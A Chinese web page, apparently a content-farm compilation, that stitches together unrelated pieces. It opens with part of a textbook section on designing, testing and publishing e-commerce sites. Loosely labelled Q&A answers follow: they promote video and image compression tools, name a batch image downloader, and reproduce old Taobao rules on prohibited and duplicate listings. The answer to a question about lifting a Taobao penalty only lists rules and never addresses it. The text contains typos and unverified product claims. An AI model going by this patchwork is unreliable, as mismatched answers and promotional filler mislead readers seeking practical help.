虚拟社区的建立，包括两方面：
① 选择独具特色的话题
话题的选择要与企业的产品、服务、经营方式相关，这样才能与企业设立电子商务的初衷相吻合。比如雅宝设立侃侃电脑、谈谈汽车、我的YaBuy经历等专门的论坛，分别扣住雅宝在电脑、汽车拍卖方面的业务。
② 选择合适的论坛主持人
论坛要能长期维持下去，必须有能干的主持人，由他来带动论坛的发展，引领论坛话题以配合站点拓展业务的需要。
以上简要介绍企业电子商务站点各种类型页面的设计。不同类型页面包括不同的内容，各有相应的设计开发方法，但仍然具有共同之处，简要列在下面：
① 站点页面的设计和开发要与企业CIS系统中的VI相一致；
② 使用模板和风格表来确保网站整体形象的统一，并简化开发和以后的维护工作；
③ 尽量使用成熟的技术，并使用多种浏览器进行检验，确保使用不同的浏览器浏览时没有太大反差；
④ 精简页面，提高访问速度；
⑤ 尽量为访问者和在线购物者提供方便，如亚马逊投资几百万美元开发新技术，仅仅为了顾客下单时可以节省几秒钟。
(三)电子商务站点的开发管理 电子商务站点需求分析的过程与软件工程类似。传统的软件工程使用瀑布法和快速原型法。但是这两种开发模式周期比较长。
瀑布式开发对于站点的建设来说，速度太慢了。为了尽量提高网站的建设速度，这里提供一种螺旋式开发模式。如图6-5所示，螺旋式开发模式第一轮设计从简单的信息结构开始，其次是结构设计，包括物理和逻辑结构，然后开始具体的设计工作，包括后台不可见的部分和前台风格及页面的设计。通过测试后使用，同时使用智能统计系统进行用户倾向的追踪统计，供决策部门使用。这些数据可包括受众群体及其性别、年龄和地理分布、上网高峰时间、用户喜好倾向、消费能力等等，作为下一个版本设计的依据。在第二个版本的设计中仍然以信息结构设计开始往复循环。
(四)电子商务站点的测试 在发布 Web站点之前，应该确认所有文本和图形都放在正确的位置，且所有的链都能操作正确。测试Web站点的一种方法是检查内部和外部的链来确认目标文件是否存在。有时一个目标文件被删除了，链就被破坏了。检查链时，一般的站点管理软件，如FrantPage，将检查链所描述的位置是否存在相应的目标文件。
可以使用浏览器测试站点，例如，微软的Internet Explorer，通过它可以确认链是否将访问者带到正确的页。还可以通过浏览器检查网页上图形和文本的格式。这是一种更节省时间的方法，但只有确认站点的文本、声音和图像都正确，且每条链都跳跃到正确的页才有效。因为不同的浏览器在显示网页时采用不同的方法，用几种常用的浏览器去浏览Web站点不失为一个好办法。
(五)电子商务站点的发布 当测试并修改完毕，就可以将站点发布。站点的发布就是将设计好的网页存放到Web服务器，供用户浏览使用。网页的发布一般可以大致分为三种形式:包括 Email、Ftp、WWW,分别使用相应的软件，如以Ftp上传可使用CuteFtp3.5等，在host：填上你注册的网页所放的主机，填上user ID 和密码。(这些资料，在你申请后，提供空间的公司会Email给你)这样就能把主页上传到指定的目录上。当然在你挂上后，首先你要自行浏览一下，并检查相应的连接。至此你的主页就上载完毕，也就在Internet上拥有了自己的一席之地。
在FrontPage上发布企业的站点是很容易的，即使通过ISP发布Web站点，也只需链接ISP，然后使用Publish FrontPage Web命令将Web站点复制到ISP。FrontPage检查在ISP服务器上是否安装了FrontPage Sever Extension(FrontPage 服务器扩展)。这些扩展是支持FrontPage和个人Web服务器的程序和副本。如果FrontPage探测到在要发布站点的服务器上并没有安装FrontPage服务器扩展，它将启动Microsoft Web Publish Wizard(发布向导)来帮助发布Web。一旦将站点发布到服务器上，那么全世界都将看到。
C. 有什么软件可以批量压缩图片
什么工具能在压缩视频时调整分辨率
视频文件的分辨率参数关系到是压缩的清晰度，有需要压缩的视频文件我们都会在压缩工具中根据视频文件大小选择性的调整视频文件的分辨率，那么，视频文件的分辨率应该怎样调整呢，使用什么工具在压缩视频文件时可以调整分辨率，这都是我们面临的问题，接下来，我们就这个问题讲解压缩视频文件的方法。
此次参照的辅助工具是（迅捷视频压缩软件），下面是操作步骤。
一、我们在浏览器删工具下载下来，之后点击工具打开，界面呈现的是三个工具所带的功能，我们在这个页面上点击“视频压缩”我们将视频文件压缩页面打开。
二、打开页面之后我们看到页面上的提示信息，要我们将视频拖动至页面中，我们可以使用鼠标拖动视频文件至页面。
三、还有一个添加是文件的方法就是点击这个页面上的“选择文件”将视频文件从这里打开，点击页面航的视频文件压缩选项将视频文件以什么格式输出，这都是我们需要自己选择的。
四、页面上设置完成之后我们接下来对视频文件的分辨率进行调整，我们单击页面上的分辨率后面的小三角，根据视频文件大小调整分辨率。
五、完成以上操作之后我们点击这个页面右边的“开始压缩”按钮，就可以压缩视频文件了。
这个方法使用各种格式的视频文件，对视频文件的损害小，基本是肉眼看不见的，采用这个工具，连pdf压缩、图片压缩也不用再安装别的工具了，这个工具李阿敏的功能全都能实现。
D. 批量采集下载E宠商城图片要用哪个软件
先在商城里把要下载的商品链接复制起来，然后一行一个的粘贴到（载图助手）软件上，就可以下载了，也可以支持下载视频呢。
E. 请大家介绍一款最好的图片压缩工具
用这个在线图片压缩工具吧，你想把图片文件的大小减到多少都行，比如你的200kb的照片，你直接设置压缩到100K，它马上瞬间就能压缩到100K。而且顶多也就一两秒钟搞定。在线智能压缩图片大小,图片压缩体积宽高,大图缩小
▼ 在线图片智能压缩使用步骤：
一、首先点击加号添加需要压缩的图片。目前已知支持对jpg、png等多种常见的图片格式进行压缩，如果上传图片并压缩成功，则代表支持该图片格式。
二、可以自行修改图片需要被压缩到的最大宽高尺寸，默认为图片原始的宽高尺寸，且宽高比例是自动锁定的。
三、必须设置图片被压缩后，期望输出的图片文件的最大占用空间。(必填项)
四、选择图片生成的算法。默认为混合优先算法，绝大多数情况下使用默认算法即可。
五、压缩的设定值不能小于1Kb，但图片压缩的最终效果可以小于1Kb。
F. 淘宝网络问题 谁能帮助我把淘宝里的处罚解除
一、禁止和限制发布物品管理规则
淘宝用户在上载商品信息前，应当仔细阅读本《禁止与限制发布物品规则》并予以遵守。由于发布以下物品所引起的法律责任由相关用户完全承担，与淘宝网无关。一旦淘宝网发现有任何违反本规则的物品信息，淘宝网有权立即予以删除，并保留给予相关用户警告、冻结直至终止其帐户的权力。请各位用户自觉遵守。
禁止发布的物品：
毒品
任何形式的发票，不具有效性和流通性的为收藏目的转让的情况除外；
股票、公司债券及其他证券，不具有效性和流通性的为收藏目的转让的情况除外；
彩票，不具有效性和流通性的为收藏目的转让的情况除外；
任何形式的政府文件，如身份证，档案，各类许可证、介绍信、学历证书、涉及国家秘密的资料或者文件等；
伪造、变造的物品，如伪造的证件、票据、钱币、执照和许可证等；
人体器官、遗体
黄色淫秽物品、性服务；
含有反动、淫秽、种族或者宗教歧视或其他法律禁止内容的出版物、文件、资料等；
非法所得之物，如走私、盗窃或抢劫所得
任何形式的枪支、弹药及相关器材，如枪械、枪械仿制品（如仿真枪）、子（炮）弹、消音器、火药、麻醉注射枪等以及相关产品如说明书，包装盒等；
易燃、易爆物品、有毒、有腐蚀性的化学物品，如火药、烟花、爆竹等；
管制刀具，如匕首、三棱刀（包括机械加工用的三棱刮刀）、带有自锁装置的弹簧刀（跳刀）以及其他类似的单刃、双刃、三棱尖刀。
警用和军用物品、设备，如监视、监听类设备、警服、警徽、手铐、警灯、警笛、警用器械等
其他武器，如弓弩,钢珠,铅珠等；
其它可能危害他人安全或利益或用于违法目的的物品，如撬锁设备、强效催情用品、解密软件、导弹发射程式、个人私密资料，汽车反雷达测速仪，电子狗，电击器，手机监听器，汽车隐性喷雾等
需执照或政府许可才能使用的设备，如广播发射台，碟型人造卫星天线；
赌具，如吃角子老虎机，透视麻将，透视扑克等；
香烟等烟草制品，香烟形式出现的烟盒烟标等；
任何侵犯他人知识产权的物品，如假冒商品，侵犯他人版权或者专利权的产品，未授权（如盗版、翻录、备份、盗录等）的复制品：软件程序、电视游戏、音乐集、电影、电视节目或照片
流通人民币，任何人不得出售或购买正在流通的人民币；
药品，包括非处方药；
医疗器材（械）
E-mail地址列表。
无注册号的磁带或光盘，共享软件；Beta级或未公布的软件；未同设备捆绑出售的OEM软件；
国家法律法规存在强制性质量或者安全标准/规定但未能符合强制性质量或者安全标准/规定的产品
国家法律规定适用许可证管理规定而不能提供相关许可证的产品；
根据法律、法规禁止销售或本网站认为依据公共风俗不应贩售的物品,如二手、原味内衣裤、袜。
限制发布的物品：
文物： 淘宝用户仅可按《中华人民共和国文物保护法》第50条、第51条的规定进行民间收藏文物的买卖；
动物：淘宝网上仅允许销售常见的家禽、家畜、宠物或可食用动物。根据国家有关规定， 野生动物、国家保护类动物、濒危动物活体、内脏、任何肢体、皮毛、标本或其他制成品均不能登陆。其中象牙和玳瑁类制品，属于严格禁止登陆的产品。
植物：被列入国家保护类植物清单的、法律禁止不得销售的植物，或植物产品。
外币：对于可流通的外币，淘宝用户仅可为收藏目的少量购买，但不得从事或者变相从事外币兑换或交易；
地铁票：少量个人余票允许以合理的价格转让；
酒精饮料：个人用户自有存货需遵守闲置商品发布之规定进行转让，商家用户需加入淘宝“品牌/商城”依照淘宝“品牌/商城”相应规定进行发布及交易。
集邮票品：淘宝用户可进行合法的邮票交换和买卖，但不得从事下列活动：买卖国家禁止流通的集邮票品；买卖1949年10月1日以后发行的带有“中华民国”字样的集邮票品；先于发行日期交换或买卖邮资凭证；买卖未经邮政行业管理部门批准制作的集邮品；
二、重复铺货商品管理规则
定义：完全相同以及商品的重要属性完全相同的商品，只允许使用一种出售方式（从一口价，拍卖，团购中选择一个），发布一次。违反以上规则，即可判定为重复发布,并将受到淘宝网的相关处罚。
细则:
本定义中所指重要属性为：
颜色：同款商品不允许不同颜色分别发布（例如：数码产品类目、网游类目、家电类目、汽车配件及饰品）
大小规格：同款商品不允许以大小规格不同分开发布（例如：男装、女装、童装、鞋帽）
同款商品不允许附带不同的附赠品或附带品分别发布（例如：数码产品类目、动漫类目、母婴类目、运动类目）
同款商品，通过更改其价格、时间、数量、组合方式及其它发布形式进行多次发布，属于重复铺货（包含但不仅限于如下情况：一件商品每天发布一次，或以一口价和拍卖的方式分别发布等等）
服务类商品，以相同价格、相同服务的不同表现形式发布，属于重复铺货（包含但不仅限于如下情况：恤烫画服务，烫画价格相同的请以一件商品发布，花样可在描述中展示）
其它淘宝网认定为重复铺货的商品发布情况
三、支付方式不符商品管理规则
定义：卖家在商品信息中拒绝使用支付宝或者违反支付宝流程，淘宝网判定其商品为支付方式不符商品。
细则：
卖家发布商品信息时，在商品标题或商品描述中等其他方式拒绝使用支付宝；
卖家在商品信息中，附加违反支付宝支付流程的交易条件（包含但不仅限于如下情况：在商品信息中要求买家必须先确认收货后才发货等）。
四、商品价格、邮费不符商品管理规则
定义：发布商品的定价或者邮费不符合市场规律或所属行业标准，滥用网络搜索方式实现其发布的商品排名靠前，影响淘宝网正常运营秩序的，淘宝网判定其相关商品为价格邮费不符商品。
细则：
商品的价格或邮费，违背市场规律和所属行业标准的（包含但不仅限于如下情况：“雪纺吊带衫”，一口价1元，平邮100元）
商品的价格和描述价格严重不符的（包含但不仅限于如下情况：商品发布一口价为1元，但是却在宝贝描述中标注产品其它价格的）
以过高或过低的价格发布赠品或者店铺积分兑换的商品（赠品和店铺积分兑换的商品，建议不要单独发布，直接在其它出售的商品中说明即可，如单独发布，则请以该商品的实际价格发布）
五、信用炒作商品管理规则
定义：买卖双方以抬高信用为目的而发布的商品，淘宝网判定为信用炒作商品。
细则：
发布纯信息，即无独立载体信息；包含但不仅限于如下情况：减肥秘方、赚钱方法、会员招募、商品知识介绍、免费信息以及购物体验介绍等等 。
发布免费获取、低价商品；包含但不仅限于如下情况：无偿从发行方获得的优惠券或资格权、免费商品、软件下载、电子刊物（凡是通过网络传输的一切电子商品）、电子邮件地址邀请等；1元以下虚拟类商品（不包括：Q币/收费Q秀/点卡按元充/游戏货币；Q币/收费Q秀/点卡按元充/新手卡不能低于0.1元）；1元及1元以下服务类商品等等.
在商品留言、心情故事及宝贝描述中有明显换好评行为的文字内容的商品。
将一件商品拆分为多个页面发布，属于信用炒作商品。包含但不仅限于如下情况：商品和商品的运费分开发布。
限制买家购买数量的虚拟物品，属于信用炒作商品。包含但不仅限于如下情况：限制某件商品一个ID只能购买一件。
六、广告商品管理规则
定义：商品描述不详、无实际商品、仅提供发布者联系方式以及非商品信息的商品（住宅类除外），淘宝网判定为发布广告商品。
细则：
以一口价或拍卖方式发布已经出售或者仅供欣赏的商品。
发布自己或者别人生活照，实体店铺的店面图片或者介绍，品牌故事，行业知识或者纯粹贴图(供人欣赏的商品
以批发、代理、已售勿拍、广告、海报、招商等形式发布的商品
发布相关免费网站注册的信息。
发布仅提供发布者联系方式或其它非出售商品信息的商品
七、放错类目/属性商品管理规则
定义：商品属性与发布商品所选择的属性或类目不一致，或将商品错误放置在淘宝网推荐各类目下，淘宝网判定为放错类目商品。
细则：
商品属性与发布商品所放置的类目不一致。
商品属性与发布商品所设置的属性不一致。
在淘宝首页推荐各类目下出现的和该类目无关的商品。
八、乱用关键字商品管理规则
定义：卖家为使发布的商品引人注目，或使买家能更多的搜索到所发布的商品，而在商品名称中滥用品牌名称或和本商品无关的字眼，扰乱淘宝网正常运营秩序的行为，淘宝网判定其相关商品为乱用关键字商品
细则：
卖家在所出售的商品标题中使用并非用于介绍本商品的字眼（包含但不仅限于如下情况：标题为“MISSHA杏子去角质面膜 瘦身健美用品热销中”等）；
卖家故意在所出售的商品标题中使用淘宝网正在热推的关键词，并且该关键词和内容商品无直接关联；
卖家在所出售的商品标题中使用非该商品制造或生产公司使用的特定品牌名称（包含但不仅限于如下情况：“橡果同厂出品*第二代*浙江-双超*豪华液压摇摆踏步机”，实际商品品牌为“双超”，不可在标题中使用其它品牌）；
卖家在所出售的商品标题中出现与其它商品和品牌相比较的情况（包含但不仅限于如下情况：“可媲美LV的真皮手袋”等）;
在标题中使用“最大”、“最高”、“最好”等最高级陈述（包含但不仅限于如下情况：“【淘宝最低价】包身蓬蓬裙”等）。
九、标题、图片、描述等不一致商品管理规则
定义：所发布的商品标题、图片、描述等信息缺乏或者多种信息相互不一致的情况，淘宝网判断为形式要件违规商品。
细则:
定义中所指形式要件为商品标题、图片、描述、付款方式及卖家所展示的其它商品信息。
虚拟商品和服务性质商品外，其它商品以无图片的形式发布；
以上商品必要要素缺乏的商品发布（包含但不仅限于如下情况：商品标题、商品描述中只有无含义的数字和字母等）；
以上商品必要要素相互不符的商品发布（包含但不仅限于如下情况：商品标题是"925纯银小海星戒指",但是商品图片却是一根项链的图片等）；
商品信息中包含诽谤、漫骂、色情、暴力威胁等攻击性言语以及其它非商品信息的（包含但不仅限于如下情况：在商品标题或描述中私自公布他人ID、聊天记录、交易纠纷、使用不文明语言等）；
十、商品管理补充规则
禁止和限制发布物品管理规则补充
1.1 (20051111)规则补充:
接国家邮政总局的通知,根据<<邮政法>>规定,邮局包裹单与EMS专递单子都属于邮政局专属产品,未经许可,不得在网上发布。
1.2 手机类目商品管理规则补充：
(20050831)淘宝禁止发布翻新机、板机、仿冒机，情节严重的将冻结其淘宝账号
(20060804)宝贝标题及宝贝描述中带有“水货”“欧水”“港水”等相关字眼的商品，属于禁售品，一律禁止发布。
1.3 (20060420)书籍音像制品规则补充:
以下商品禁止在淘宝发布，一经发现证实，淘宝将做出严厉处罚：
同志电影的管理：大陆对于同志电影尚未完全开禁，在淘宝发布同志电影（同性恋电影）的卖家，一经查实非正式出版的，全部删除;
对于价格明显低于市场水平的违规商品，一经查实盗版证据，全部删除;
发现发布色情或政治类禁售音像制品的，尤其是日本明星黄色、色情写真等，一经查实，冻结其淘宝账号;
未使用商品外包装图片的音像类商品，一律删除;
视频商品，一律删除;
代写论文，一律删除.
1.4 （20060612）数码相机类目商品规则补充：
因闪存存储的升级版及压缩版载体，会影响使用，故淘宝禁止发布该类产品。例如：128的优盘的256升级盘；256M闪存卡压缩成512M .
1.5 (20060614)收藏类目商品规则补充：
只有不违反《人民币银行结算账户管理办法》、《银行卡业务管理办法》等法律法规，且符合以下规定的银行卡（包括借记卡、贷记卡、准贷记卡）收藏卡样允许在淘宝发布：
根据银行卡发卡行的规定可以公开发布的银行卡收藏册、储值卡、纪念卡。
银行卡进行过特殊处理毁损磁条和卡片（如对磁条或IC芯片打洞，对磁条剪角处理等。
1.6 （20060719）居家类目商品规则补充：
依靠固定电话在线的信号电发光的“免费”电话灯,属于禁售商品. 用电话灯实际上就是在非法盗用通信公司的电力，不仅会造成严重的资源浪费，而且还将对公用电信网络造成严重破坏,故淘宝不允许发布此商品。
1.7（20060821）规则补充:
银行识别客户身份的数字证书例如“U盾”等，不管其有未经过使用，均不能在淘宝上对该类产品进行交易转让，银行另有规定的除外。
1.8 (20060823)运动类目商品管理规则补充：
保健器械，商品信息中无品牌和无中文标明的产品名称，或者无生产厂名和厂址的，不允许发布，属于禁售商品。
1.9网络游戏虚拟商品交易区管理规则补充：
(20060930)淘宝禁止发布QQ死保号
(20070411)禁止出售带有"外挂"字样的程序和点卡以及信封类商品。QQ增值服务下,不允许出售理论类,终身类,永久类和包年等商品。
(20080506)在游戏点卡类目下，不得发布游戏点卡慢卡,慢充类商品。
(20080506)在游戏点卡，手机冲值卡下，不得发布无货空挂商品。
1.10（20070913）刀类商品的发布管理规则：
商品信息中必须写明刃长，商品图片必须使用尺子对照物明示长度；否则一律作管制刀具删除。
如发布的商品为剑或武术用刀，没有注明未开刃的，一律作管制刀具删除。
1.11（20070927）规则补充：
化妆品空瓶（品牌化妆品）：由于用完的化妆品包装物涉及回收制造假货的嫌疑，淘宝不允许发布此类信息。
空酒瓶（品牌）：空酒瓶涉及回收制造假酒的嫌疑，淘宝不允许发布此类信息。
毕业证：文革后（时间定为1977年1月1日后）的毕业证不允许发布，任何性质的办证服务信息都不允许发布。
奥运门票：北京奥组委相关规定：购票人转让开闭幕式门票必须经北京奥组委书面批准并按程序办理。淘宝不允许发布奥运任何门票包括转让性质的。
手机直拨卡：充值卡类目下的“直拨卡”未获信息产业部批准，不允许发布，详情阅读这里
重复铺货商品管理规则补充
2.1（20061027）规则补充：
对于不同的商品，必须在商品的标题、描述、图片等方面体现商品的不同，否则将被判定为重复铺货。
2.2 (20050812)网络游戏虚拟商品交易区商品管理规则补充：
QQ币及QQ游戏货币，允许单个和多个分别发布，但以多个发布的次数不能超过5次。
2.3（2007.8.9更新）游戏代练类商品补充规则：
每种代练类型只能发布一件商品.比如等级代练,任务代练,跑商等,均各只能发布一件商品。套餐区里，相同的商品不能同时出现在多个套餐中。否则属于重复铺货。详细请看这里
2.4 (20060823)手机类目商品管理规则补充：
网络电话卡下，每个卖家所发布的相同运营商的不同面值的充值商品不能超过15件。
2.5 (20050831)汽摩类目商品管理规则补充：
相同属性或者相同性质的商品，以不同颜色，或者“适用于不同车型”而多次发布，属于重复铺货。比如“SONATA索纳塔专用补漆笔”和“GOL高尔专用补漆笔”属于重复铺货。
2.6(20061016)家电类目商品管理规则补充：
电子器械及配件类商品，若图片价格一致，描述相同，属于重复铺货，如果只是型号不同，一家店铺每类产品最多只允许发布50件不同型号的；超过50件的商品，属于重复铺货。
2.7（20070411）国内外快递/物流业务类目管理规则补充:
相同快递公司按照不同重量发布，属于重复铺货
2.8(20060714)重复铺货式开店的管理规则补充:
定义：通过同时经营多家具有相同商品的店铺，达到重复铺货的目的，淘宝判定此开店方式为重复铺货式开店。这种行为，严重干扰卖家正常经营秩序，并破坏买家的购物体验，属于违规行为，将收到淘宝的相关处罚。
重复铺货式开店行为一经被发现，经淘宝确认，重复店铺数量超过3家（包括3家）的永久限制发布权限（除主店之外）。重复店铺少于3家的，删除重复店铺中的所有商品，并限制发布权限30天（除主店之外）。若第二次发现，对重复店铺一律永久限制发布权限，并给予主店铺警告一次。
屡次重复铺货式开店，对所有店铺永久限制发布权限。
商品价格、邮费不符商品管理规则补充
3.1（20060719）彩妆/香水/护肤/美体及珠宝首饰/流行饰品/珠宝配件的类目商品管理规则补充：
超大超小规格类商品不允许发布，例如面膜粉按1克卖，眼霜按1000个卖，精油按1公斤卖，为价格、邮费不符。
3.2（20070411）网游类目下商品管理规则补充
游戏货币必须以游戏中货币的最高单位出售.如魔兽世界货币只能以金为单位发布,而不能以银/铜为单位发布
3.3（20070809）网游类目下商品管理规则补充
部分游戏货币的最低度量单位统一,发布货币类商品时,最小按这个单位和对应的价格发布.否则属于价格邮费不符。详细请看这里
广告商品管理规则补充
4.1(20060919) 网游类目商品管理规则补充：
禁止卖家在商品描述中或旺旺上有出现外网交易的链接信息或诱导买家去外部网站上购买。违反此规定的商品，属于广告商品。详细请点这里
乱用关键词商品管理规则补充
5.1（20061027）规则补充：
不允许任何商品在标题中添加对赠品、奖品的描述，否则属于乱用关键词。卖家可以将相关促销内容添加到宝贝描述中。参加淘宝活动有另行规定的除外。
5.2（20060418)运动类目商品管理规则补充：
不能以任何理由在同一件商品中使用多种属性关键词,以干扰搜索，除网站整体规则以外，下列情况也是被禁止的： 组合式发布商品也不允许使用多种属性关键词（如品牌，系列，类别等），卖家可以在宝贝描述中进行说明。
5.3（20060418)规则补充：
如未取得专卖资格或者特约经销商资格，不得在商品信息中声称其为“淘宝专卖”及“特约经销商”等暗示其与商标权人或者生产厂家之间存在授权或者合同关系的字眼。
5.4 (20060914) 网络游戏虚拟商品交易区商品管理规则补充：
QQ专区下，商品标题中不得出现其它类目的字眼，否则属于乱用关键词。例如：在 QQ秀红钻下面，只能出现，标题中带有红钻的商品。不能出现 例如： 红、黄、蓝钻 2元/月 这样标题的商品。
标题、图片、描述等不一致商品管理规则补充
6.1(20080506)珠宝/钻石/翡翠/黄金类目商品管理规则补充：
商品的图片必须实物实拍.钻石的重量,净度,颜色不同,就不能用同一张图片发布,不能以钻石鉴定证书代替钻石，不能以钻石鉴定证书加钻石小图代替原图,必须以商品实物图来发布。否则属于标题、图片、描述等不一致商品。
6.2 (20060823)数码类商品管理规则补充：
发布二手的数码类商品（包括手机、笔记本、PDA、数码相机、数码摄像机共5个二级分类），必须以所发布的该商品的实物照片发布商品，不能使用官方网站的图片，以便于买家辨别，否则属于标题、图片、描述等不一致商品。
6.3（20070411）国内外快递/物流业务及翻译服务类目管理规则补充：
标题中需明示收费标准，否则属于标题、图片、描述等不一致商品。
十一、处罚规则
自然季度内，由于违反商品发布规则，累计满30件将会被处罚限制交易1周，满60件会限制交易1个月，同时会关闭其店铺并下架所有未出价商品。每一自然季度将对未处于限权状态会员的累计数字进行清零，处于限权状态的会员限权到期，累计数字也会清零，重新累计。
卖家应确保其上传的商品信息真实有效并符合中华人民共和国有关法律，由此产生的任何交易纠纷，应由卖家自行负责，并应承担由于违反前述担保所导致的任何行政责任、民事及刑事法律责任。